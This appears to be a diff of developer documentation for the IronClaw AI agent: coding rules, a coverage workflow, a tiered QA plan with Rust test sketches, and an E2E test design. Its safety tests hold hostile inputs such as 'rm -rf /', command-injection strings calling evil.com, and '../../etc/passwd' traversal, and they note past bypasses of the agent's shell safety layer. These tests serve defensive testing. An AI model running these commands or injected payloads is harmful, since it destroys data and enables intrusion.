+# Code Coverage Workflow
+#
+# This workflow runs test coverage analysis and uploads reports to Codecov.
+# Coverage reports help identify untested code paths and maintain code quality.
+#
+# What it does:
+# - Runs unit and integration tests with coverage instrumentation
+# - Runs E2E tests with coverage instrumentation
+# - Uploads coverage reports to Codecov (https://codecov.io/gh/nearai/ironclaw)
+#
+# Viewing coverage reports:
+# - PRs automatically get coverage comments showing changes in coverage
+# - Visit https://codecov.io/gh/nearai/ironclaw for detailed coverage reports
+# - Coverage reports are generated for three configurations:
+#   1. all-features: Full feature set
+#   2. default: Default features
+#   3. libsql-only: Minimal libSQL-only configuration
+# - E2E coverage tracks end-to-end test coverage separately
+#
+# Coverage files:
+# - Unit/integration: lcov.info (uploaded to Codecov with "unit" flag)
+# - E2E: e2e-coverage.info (uploaded to Codecov with "e2e" flag)
+#
+# Requirements:
+# - Uses cargo-llvm-cov for coverage instrumentation
+# - Requires PostgreSQL for integration tests (pgvector/pgvector:pg16)
+# - E2E tests require Python 3.12 and Playwright

 ```
 Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
 
+**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically.
+
 **Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
 
+**Transaction safety:** Multi-step database operations (INSERT+INSERT, UPDATE+DELETE, read-then-write) MUST be wrapped in a transaction. Never assume sequential calls are atomic. Before committing DB code, ask: "If this crashes between step N and N+1, is the database consistent?" If not, wrap in a transaction. This applies to both postgres and libsql backends.
+
+**UTF-8 string safety:** Never use byte-index slicing (`&s[..n]`) on user-supplied or external strings — it panics on multi-byte characters. Use `is_char_boundary()` to walk backwards from the desired length, or iterate with `char_indices()`. Grep for `[..` in changed files to catch violations.
+
+**Case-insensitive comparisons:** When comparing user-supplied strings (file paths, media types, extension names), always normalize to lowercase first with `.to_ascii_lowercase()`. On case-insensitive filesystems (macOS, Windows), path comparisons must be case-insensitive. File extension checks (`.png`, `.jpg`) and media type checks (`image/jpeg`) are common offenders.
+
+**Decorator/wrapper trait delegation:** When adding a new method to `LlmProvider` (or any trait with decorator wrappers), you MUST update ALL wrapper types to delegate to their inner provider. Grep for `impl LlmProvider for` to find all implementations. Add a test that exercises the method through the full provider chain (`build_provider_chain()`), not just the base impl.
+
+**Sensitive data in logs & events:** Tool parameters and outputs MUST be redacted before logging or broadcasting via SSE/WebSocket. Use `redact_params()` before any `tracing::info!`, `JobEvent`, or SSE emission that includes tool call data. Never log raw parameters from tool calls.
+
+**Test temporary files:** Use the `tempfile` crate for test directories/files. Never hardcode `/tmp/...` paths — they collide in parallel test runs and break on non-Unix platforms.
+
+**Trust boundaries in multi-process architecture:** Data from worker containers is untrusted. The orchestrator MUST validate: tool domain (never execute `Container`-domain tools on the host), nesting depth (server-side tracking, not client-supplied), and parameter sensitivity (redact before logging/broadcasting).
+
 **Mechanical verification before committing:** Run these checks on changed files before committing:
 - `cargo clippy --all --benches --tests --examples --all-features` -- zero warnings
 - `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
 - `grep -rn 'super::' <files>` -- use `crate::` imports
 - If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
+- Fix commits must include regression tests (enforced by `commit-msg` hook; bypass with `[skip-regression-check]`)
+- Run `scripts/pre-commit-safety.sh` to catch UTF-8, case-sensitivity, hardcoded /tmp, and logging issues

 ### LLM Providers
 
-IronClaw supports multiple LLM backends via the `LLM_BACKEND` env var: `nearai` (default), `openai`, `anthropic`, `ollama`, `openai_compatible`, and `tinfoil`.
-
-**NEAR AI** -- Uses the Chat Completions API with dual auth support. Session token auth (default): authenticates with session tokens (`sess_xxx`) obtained via browser OAuth (GitHub/Google), base URL defaults to `https://private.near.ai`. API key auth: set `NEARAI_API_KEY` (from `cloud.near.ai`), base URL defaults to `https://cloud-api.near.ai`. Both modes use the same Chat Completions endpoint. Tool messages are flattened to plain text for compatibility. Set `NEARAI_SESSION_TOKEN` env var for hosting providers that inject tokens via environment.
-
-**NEAR AI Cloud** -- Uses the OpenAI-compatible Chat Completions API (`https://cloud-api.near.ai/v1/chat/completions`). Authenticates with API keys from `cloud.near.ai`. Auto-selected when `NEARAI_API_KEY` is set (or explicitly via `NEARAI_API_MODE=chat_completions`). Tool messages are flattened to plain text for compatibility. Configure with `NEARAI_API_KEY` and `NEARAI_BASE_URL` (default: `https://cloud-api.near.ai`).
-
-**OpenAI-compatible** -- Any endpoint that speaks the OpenAI API (vLLM, LiteLLM, OpenRouter, etc.). Configure with `LLM_BASE_URL`, `LLM_API_KEY` (optional), `LLM_MODEL`. Set `LLM_EXTRA_HEADERS` to inject custom HTTP headers into every request (format: `Key:Value,Key2:Value2`), useful for OpenRouter attribution headers like `HTTP-Referer` and `X-Title`.
-
-**Tinfoil** -- Private inference via `https://inference.tinfoil.sh/v1`. Runs models inside hardware-attested TEEs so neither Tinfoil nor the cloud provider can see prompts or responses. Uses the OpenAI-compatible Chat Completions API. Configure with `TINFOIL_API_KEY` and `TINFOIL_MODEL` (default: `kimi-k2-5`).
+Backends: `nearai` (default), `openai`, `anthropic`, `ollama`, `openai_compatible`, `tinfoil` — set via `LLM_BACKEND`. See [src/llm/CLAUDE.md](src/llm/CLAUDE.md) for per-provider auth and configuration details.
 
 ## Database
 
-IronClaw supports two database backends, selected at compile time via Cargo feature flags and at runtime via the `DATABASE_BACKEND` environment variable.
-
-**IMPORTANT: All new features that touch persistence MUST support both backends.** Implement the operation as a method on the `Database` trait in `src/db/mod.rs`, then add the implementation in both `src/db/postgres.rs` (delegate to Store/Repository) and `src/db/libsql_backend.rs` (native SQL).
-
-### Backends
-
-| Backend | Feature Flag | Default | Use Case |
-|---------|-------------|---------|----------|
-| PostgreSQL | `postgres` (default) | Yes | Production, existing deployments |
-| libSQL/Turso | `libsql` | No | Zero-dependency local mode, edge, Turso cloud |
+Dual-backend persistence (PostgreSQL + libSQL/Turso). **All new persistence features must support both backends** — see [src/db/CLAUDE.md](src/db/CLAUDE.md) for schema, SQL dialect differences, adding operations, and libSQL limitations.
 
+Implement every new operation in both `src/db/postgres.rs` and `src/db/libsql/mod.rs`. Test in isolation:
 ```bash
-# Build with PostgreSQL only (default)
-cargo build
-
-# Build with libSQL only
-cargo build --no-default-features --features libsql
-
-# Build with both backends available
-cargo build --features "postgres,libsql"
+cargo check                                          # postgres (default)
+cargo check --no-default-features --features libsql  # libsql only
+cargo check --all-features                           # both
 ```
 
-### Database Trait
-
-The `Database` trait (`src/db/mod.rs`) defines ~60 async methods covering all persistence:
-- Conversations, messages, metadata
-- Jobs, actions, LLM calls, estimation snapshots
-- Sandbox jobs, job events
-- Routines, routine runs
-- Tool failures, settings
-- Workspace: documents, chunks, hybrid search
-
-Both backends implement this trait. PostgreSQL delegates to the existing `Store` + `Repository`. libSQL implements native SQLite-dialect SQL.
-
-### Schema
-
-**PostgreSQL:** `migrations/V1__initial.sql` (351 lines). Uses pgvector for embeddings, tsvector for FTS, PL/pgSQL functions. Managed by `refinery`.
-
-**libSQL:** `src/db/libsql_migrations.rs` (consolidated schema, ~480 lines). Translates PG types:
-- `UUID` -> `TEXT`, `TIMESTAMPTZ` -> `TEXT` (ISO-8601), `JSONB` -> `TEXT`
-- `VECTOR(1536)` -> `F32_BLOB(1536)` with `libsql_vector_idx`
-- `tsvector`/`ts_rank_cd` -> FTS5 virtual table with sync triggers
-- PL/pgSQL functions -> SQLite triggers
-
-**Tables (both backends):**
-
-**Core:**
-- `conversations` - Multi-channel conversation tracking
-- `agent_jobs` - Job metadata and status
-- `job_actions` - Event-sourced tool executions
-- `dynamic_tools` - Agent-built tools
-- `llm_calls` - Cost tracking
-- `estimation_snapshots` - Learning data
-
-**Workspace/Memory:**
-- `memory_documents` - Flexible path-based files (e.g., "context/vision.md", "daily/2024-01-15.md")
-- `memory_chunks` - Chunked content with FTS and vector indexes
-- `heartbeat_state` - Periodic execution tracking
-
-**Other:**
-- `routines`, `routine_runs` - Scheduled/reactive execution
-- `settings` - Per-user key-value settings
-- `tool_failures` - Self-repair tracking
-- `secrets`, `wasm_tools`, `tool_capabilities` - Extension infrastructure
-
 Database configuration: see Configuration section above.
 
-### Current Limitations (libSQL backend)
-
-- **Workspace/memory system** not yet wired through Database trait (requires Store migration)
-- **Secrets store** not yet available (still requires PostgresSecretsStore)
-- **Hybrid search** uses FTS5 only (vector search via libsql_vector_idx not yet implemented)
-- **Settings reload from DB** skipped (Config::from_db requires Store)
-- No incremental migration versioning (schema is CREATE IF NOT EXISTS, no ALTER TABLE support yet)
-- **No encryption at rest** -- The local SQLite database file stores conversation content, job data, workspace memory, and other application data in plaintext. Only secrets (API tokens, credentials) are encrypted via AES-256-GCM before storage. Users handling sensitive data should use full-disk encryption (FileVault, LUKS, BitLocker) or consider the PostgreSQL backend with TDE/encrypted storage.
-- **JSON merge patch vs path-targeted update** -- The libSQL backend uses RFC 7396 JSON Merge Patch (`json_patch`) for metadata updates, while PostgreSQL uses path-targeted `jsonb_set`. Merge patch replaces top-level keys entirely, which may drop nested keys not present in the patch. Callers should avoid relying on partial nested object updates in metadata fields.

+## Execution Priority
+
+Maximize coverage gain per unit of effort:
+
+| Order | Category | Lines Gained | Effort |
+|------:|----------|-------------:|--------|
+| 1 | Trace tests (Tier 2) | ~7,000 | Medium (high leverage, each test covers many modules) |
+| 2 | Unit tests for 0% files (Tier 1 subset) | ~3,500 | Low (pure logic, no infrastructure) |
+| 3 | Web handler tests (Tier 3) | ~4,500 | Medium (axum_test + in-memory DB) |
+| 4 | Extension/MCP/WASM unit tests (Tier 1 remainder) | ~3,500 | Medium |
+| 5 | CLI subcommand tests (Tier 4) | ~2,100 | Low-Medium |
+| 6 | Setup wizard extraction + tests (Tier 5) | ~2,400 | High (requires refactoring) |
+| 7 | LLM provider tests (Tier 1 subset) | ~800 | Medium |
+| 8 | Remaining small files (Tier 6) | ~2,000 | Low |
+
+## Notes
+
+- All trace tests require `--features libsql` and use `TestRigBuilder` from `tests/support/`
+- Web handler tests can use `axum::test` helpers or build the router directly
+- CLI tests should call handler functions directly, not shell out to the binary
+- Setup wizard tests require extracting pure logic from interactive prompts first
+- Sandbox/container tests should verify command construction, not run Docker
+- Worker tests can use `TraceLlm` for the LLM provider, same as trace tests

+# Automated QA Plan for IronClaw
+
+**Date:** 2026-02-24
+**Status:** Draft
+**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
+
+---
+
+## Motivation
+
+A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
+
+| Category | Examples | Root Cause |
+|----------|----------|------------|
+| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
+| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
+| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
+| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
+| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
+| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
+| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
+
+Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
+
+---
+
+## Tier 1: Schema & Contract Tests
+
+**Cost:** Low (pure Rust tests, no infrastructure)
+**Timeline:** Can land incrementally, one PR per sub-task
+**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
+
+### 1.1 Tool Schema Validator
+
+Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
+
+- Top-level has `"type": "object"`
+- Every key in `"required"` exists in `"properties"`
+- Every property has a `"type"` field
+- No `additionalProperties` unless explicitly set
+- Nested objects follow the same rules recursively
+
+```rust
+// src/tools/registry.rs or a new tests/tool_schema_validation.rs
+#[test]
+fn all_tool_schemas_are_openai_strict_valid() {
+    let registry = ToolRegistry::new();
+    register_all_builtins(&mut registry);
+    for tool in registry.all_tools() {
+        let schema = tool.parameters_schema();
+        validate_strict_schema(&schema, &tool.name())
+            .unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
+    }
+}
+```
+
+Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
+
+**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
+
+### 1.2 Config Round-Trip Tests
+
+Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
+
+Cover the specific bugs found:
+- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
+- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
+- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
+- Session token stored under `nearai.session_token` (not `nearai.session`)
+
+```rust
+#[test]
+fn bootstrap_env_round_trips_llm_backend() {
+    let dir = tempdir().unwrap();
+    let env_path = dir.path().join(".env");
+    save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
+    // Simulate restart: load from env file
+    dotenv::from_path(&env_path).unwrap();
+    assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
+}
+```
+
+**Files:** New `tests/config_round_trip.rs`
+
+### 1.3 Feature-Flag CI Matrix
+
+The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
+
+Add a CI matrix:
+
+```yaml
+# .github/workflows/test.yml
+strategy:
+  matrix:
+    features:
+      - "--all-features"
+      - ""  # default features only
+      - "--no-default-features --features libsql"
+steps:
+  - name: Run Tests
+    run: cargo test ${{ matrix.features }} -- --nocapture
+```
+
+Update `code_style.yml` to also run clippy with `--all-features`:
+
+```yaml
+- name: Check lints (all features)
+  run: cargo clippy --all-features -- -D warnings
+- name: Check lints (libsql only)
+  run: cargo clippy --no-default-features --features libsql -- -D warnings
+```
+
+**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
+
+### 1.4 Docker Build in CI
+
+Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
+
+```yaml
+# .github/workflows/test.yml - new job
+docker-build:
+  name: Docker Build
+  runs-on: ubuntu-latest
+  steps:
+    - uses: actions/checkout@v6
+    - name: Build Docker image
+      run: docker build -t ironclaw-test:ci .
+```
+
+**Files:** Modify `.github/workflows/test.yml`
+
+---
+
+## Tier 2: Integration Tests
+
+**Cost:** Medium (needs test harnesses, possibly testcontainers)
+**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
+**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
+
+### 2.1 Test Harness: In-Memory Database Backend
+
+Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
+
+Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
+
+```rust
+// src/testing.rs
+pub async fn test_db() -> impl Database {
+    let backend = LibSqlBackend::open_in_memory().await.unwrap();
+    backend.run_migrations().await.unwrap();
+    backend
+}
+```
+
+**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
+
+### 2.2 Turn Persistence Tests
+
+Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
+
+```rust
+#[tokio::test]
+async fn approved_tool_call_persists_turn() {
+    let db = test_db().await;
+    let mut agent = TestAgent::new(db);
+    // Create a turn with a pending tool call
+    agent.submit("search for cats").await;
+    // Simulate tool approval
+    agent.approve_tool_call(0).await;
+    // Verify turn is in DB (not just in memory)
+    let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
+    assert!(turns.iter().any(|t| t.has_tool_result()));
+}
+```
+
+Cover:
+- Approved tool call with successful result
+- Approved tool call with error result
+- Approved tool call requiring auth
+- Deferred tool call with auth
+- User message persisted before agent loop starts (not after)
+
+**Files:** New `tests/turn_persistence.rs`
+
+### 2.3 WASM Channel Lifecycle Tests
+
+Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
+
+```rust
+#[tokio::test]
+async fn wasm_channel_workspace_writes_are_flushed() {
+    let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
+    // Simulate a callback that writes workspace data
+    wrapper.handle_callback(test_update_payload()).await.unwrap();
+    // Verify writes were captured
+    let writes = wrapper.take_pending_writes();
+    assert!(!writes.is_empty(), "workspace_write() calls must be captured");
+}
+
+#[tokio::test]
+async fn wasm_channel_workspace_read_returns_prior_writes() {
+    let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
+    // Inject workspace data
+    wrapper.inject_workspace_entry("polling_offset", b"12345");
+    // Simulate a callback that reads workspace data
+    wrapper.handle_callback(test_update_payload()).await.unwrap();
+    // The channel should have used the injected offset (not 0)
+    // Verify by checking the getUpdates call offset parameter
+}
+```
+
+**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
+
+### 2.4 Extension Registry Collision Tests
+
+Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
+
+```rust
+#[tokio::test]
+async fn channel_and_tool_with_same_name_dont_collide() {
+    let registry = TestRegistry::new();
+    registry.install("telegram", ArtifactKind::Channel).await.unwrap();
+    registry.install("telegram", ArtifactKind::Tool).await.unwrap();
+    assert!(registry.tools_dir().join("telegram").exists());

+
+### 2.5 Shell Tool Realistic Arg Tests
+
+The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
+
+```rust
+#[tokio::test]
+async fn destructive_command_blocked_with_object_args() {
+    let shell = ShellTool::new();
+    let params = serde_json::json!({
+        "command": "rm -rf /"
+    });
+    // This is how the LLM actually sends args -- as an Object, not a String
+    let result = shell.execute(params, &test_context()).await;
+    assert!(result.is_err() || result.unwrap().contains("blocked"));
+}
+```
+
+Also test pipe deadlock prevention with large output:
+
+```rust
+#[tokio::test]
+async fn shell_handles_large_output_without_deadlock() {
+    let shell = ShellTool::new();
+    let params = serde_json::json!({
+        "command": "yes | head -c 200000"  // ~200KB, well above pipe buffer
+    });
+    let result = tokio::time::timeout(
+        Duration::from_secs(10),
+        shell.execute(params, &test_context())
+    ).await;
+    assert!(result.is_ok(), "shell tool deadlocked on large output");
+}
+```
+
+**Files:** Extend `src/tools/builtin/shell.rs` tests
+
+### 2.6 Failover and Circuit Breaker Edge Cases
+
+```rust
+#[test]
+fn cooldown_activation_at_zero_nanos() {
+    let mut cooldown = ProviderCooldown::new();
+    // Edge case: if system clock returns 0 (or test mock does)
+    cooldown.activate_cooldown(0);
+    assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
+}
+
+#[tokio::test]
+async fn failover_with_all_providers_failing() {
+    let failover = FailoverProvider::new(vec![
+        always_failing_provider("a]"),
+        always_failing_provider("b"),
+    ]);
+    let result = failover.chat(&[]).await;
+    assert!(result.is_err());
+    // Must not panic (the old .expect() bug)
+}
+```
+
+**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
+
+### 2.7 Context Length Recovery Test
+
+Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
+
+```rust
+#[tokio::test]
+async fn context_length_exceeded_triggers_compaction() {
+    let mut agent = TestAgent::with_provider(
+        ContextLimitMockProvider::new(fail_after_n_turns: 3)
+    );
+    // Send enough messages to trigger context limit
+    for i in 0..5 {
+        agent.submit(&format!("message {i}")).await;
+    }
+    // Agent should have compacted and continued, not errored
+    assert!(agent.last_response().is_ok());
+    assert!(agent.compaction_count() > 0);
+}
+```

+
+## Tier 3: Computer-Use E2E Testing
+
+**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
+**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
+**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
+
+### 3.1 Architecture
+
+```

++------------------+     +-----------------+
+```
+
+**Components:**
+
+1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
+
+2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
+
+3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
+
+4. **Assertion engine** -- Hybrid approach:
+   - **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
+   - **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"

+
+### 3.4 LLM Backend for E2E Tests
+
+E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
+
+1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
+
+2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
+
+3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
+
+Recommendation: Start with local Ollama for development, mock LLM server for CI.
+
+### 3.5 CI Integration
+
+E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests
+on:
+  schedule:
+    - cron: "0 6 * * *"  # Daily at 6 AM UTC
+  workflow_dispatch:       # Manual trigger
+
+jobs:
+  e2e:
+    runs-on: ubuntu-latest
+    services:
+      ollama:
+        image: ollama/ollama:latest
+    steps:
+      - uses: actions/checkout@v6
+      - name: Build ironclaw
+        run: cargo build --features libsql

+```

+
+## Tier 4: Chaos and Resilience Testing
+
+**Cost:** Medium (needs mock providers, time-control utilities)
+**Timeline:** After Tier 2 harness exists; add scenarios incrementally
+**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
+
+### 4.1 LLM Provider Chaos
+
+Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
+
+```rust
+/// Provider that fails N times then succeeds
+struct FlakeyProvider { failures_remaining: AtomicU32 }
+
+/// Provider that returns ContextLengthExceeded after N messages
+struct ContextBombProvider { threshold: usize }
+
+/// Provider that hangs forever (tests timeout handling)
+struct HangingProvider;
+
+/// Provider that returns malformed JSON
+struct GarbageProvider;
+```
+
+**Test scenarios:**
+
+| Scenario | Setup | Expected |
+|----------|-------|----------|
+| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
+| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
+| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
+| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
+| Malformed response | GarbageProvider | Error logged, retry or failover |
+| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
+| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
+
+**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
+
+### 4.2 Concurrent Job Stress Test
+
+Submit many jobs simultaneously and verify no state corruption:
+
+```rust
+#[tokio::test]
+async fn concurrent_jobs_dont_corrupt_state() {
+    let db = test_db().await;
+    let agent = TestAgent::new(db);
+
+    // Submit 20 jobs concurrently
+    let handles: Vec<_> = (0..20)
+        .map(|i| {
+            let agent = agent.clone();
+            tokio::spawn(async move {
+                agent.submit(&format!("job {i}: what is {i} + {i}?")).await

+    assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
+}
+```
+
+**Files:** New `tests/concurrent_jobs.rs`
+
+### 4.3 Dispatcher Infinite Loop Guard
+
+The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
+
+```rust
+#[tokio::test]
+async fn dispatcher_terminates_when_hook_rejects() {
+    let dispatcher = TestDispatcher::new();
+    dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
+
+    let result = tokio::time::timeout(
+        Duration::from_secs(5),
+        dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
+    ).await;
+
+    assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
+}
+```
+
+**Files:** Extend `src/agent/dispatcher.rs` tests
+
+### 4.4 Value Estimator Boundary Tests
+
+```rust
+#[test]
+fn is_profitable_with_zero_price() {
+    let estimator = ValueEstimator::new();
+    // Must not panic (was a divide-by-zero before PR #139)
+    let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
+    assert!(!result);
+}
+
+#[test]
+fn is_profitable_with_negative_cost() {
+    let estimator = ValueEstimator::new();
+    let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
+    // Negative cost = always profitable
+    assert!(result);
+}
+```
+
+**Files:** Extend `src/estimation/value.rs` tests
+
+### 4.5 Safety Layer Adversarial Tests
+
+Test the safety layer with adversarial inputs that have caused real bypasses:
+
+```rust
+#[test]
+fn path_traversal_in_wasm_allowlist() {
+    let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
+    // Must be blocked: path traversal before normalization
+    assert!(!allowlist.allows("api.example.com/v1/../admin"));
+    assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
+}
+
+#[test]
+fn shell_env_scrubbing_removes_secrets() {
+    let env = scrubbed_env();
+    assert!(!env.contains_key("OPENAI_API_KEY"));
+    assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
+    assert!(!env.contains_key("DATABASE_URL"));
+    // Safe vars preserved
+    assert!(env.contains_key("PATH"));
+    assert!(env.contains_key("HOME"));
+}
+
+#[test]
+fn leak_detector_catches_api_keys_in_output() {
+    let detector = LeakDetector::default();
+    let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
+    let result = detector.scan(output);
+    assert!(result.has_leaks());
+}
+
+#[test]
+fn sanitizer_blocks_command_injection() {
+    let sanitizer = Sanitizer::new();
+    let inputs = vec![
+        "hello; rm -rf /",
+        "$(curl evil.com)",
+        "hello\n`whoami`",

+
+## Open Questions
+
+1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
+
+2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
+
+3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
+
+4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
+
+5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.

+# E2E Testing Infrastructure Design
+
+**Date:** 2026-02-24
+**Status:** Approved
+**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
+
+---
+
+## Decisions
+
+| Decision | Choice | Rationale |
+|----------|--------|-----------|
+| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
+| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
+| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
+| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
+| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
+
+---
+
+## Architecture
+
+```
+                  pytest
+                    |
+         +----------+-----------+
+         |                      |
+   mock_llm.py           ironclaw binary
+   (canned responses)    (cargo build --features libsql)

+                    |
+              Playwright
+              (headless Chromium)
+              DOM assertions
+```
+
+**Flow:**
+
+1. pytest session starts
+2. Session-scoped fixture builds ironclaw binary (or reuses cached)
+3. Session-scoped fixture starts mock LLM on OS-assigned port
+4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
+5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
+6. Each test uses Playwright locators + DOM assertions
+7. Teardown kills ironclaw and mock LLM
+
+---
+
+## Directory Structure
+
+```
+tests/e2e/
+  conftest.py              # pytest fixtures: build binary, start ironclaw, mock LLM, browser
+  mock_llm.py              # OpenAI-compat HTTP server with canned responses

+
+---
+
+## Mock LLM Server
+
+A minimal async HTTP server that speaks the OpenAI Chat Completions API.
+
+**Endpoint:** `POST /v1/chat/completions`
+
+**Behavior:**
+- Parses the `messages` array from the request body
+- Pattern-matches the last user message content to select a canned response
+- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
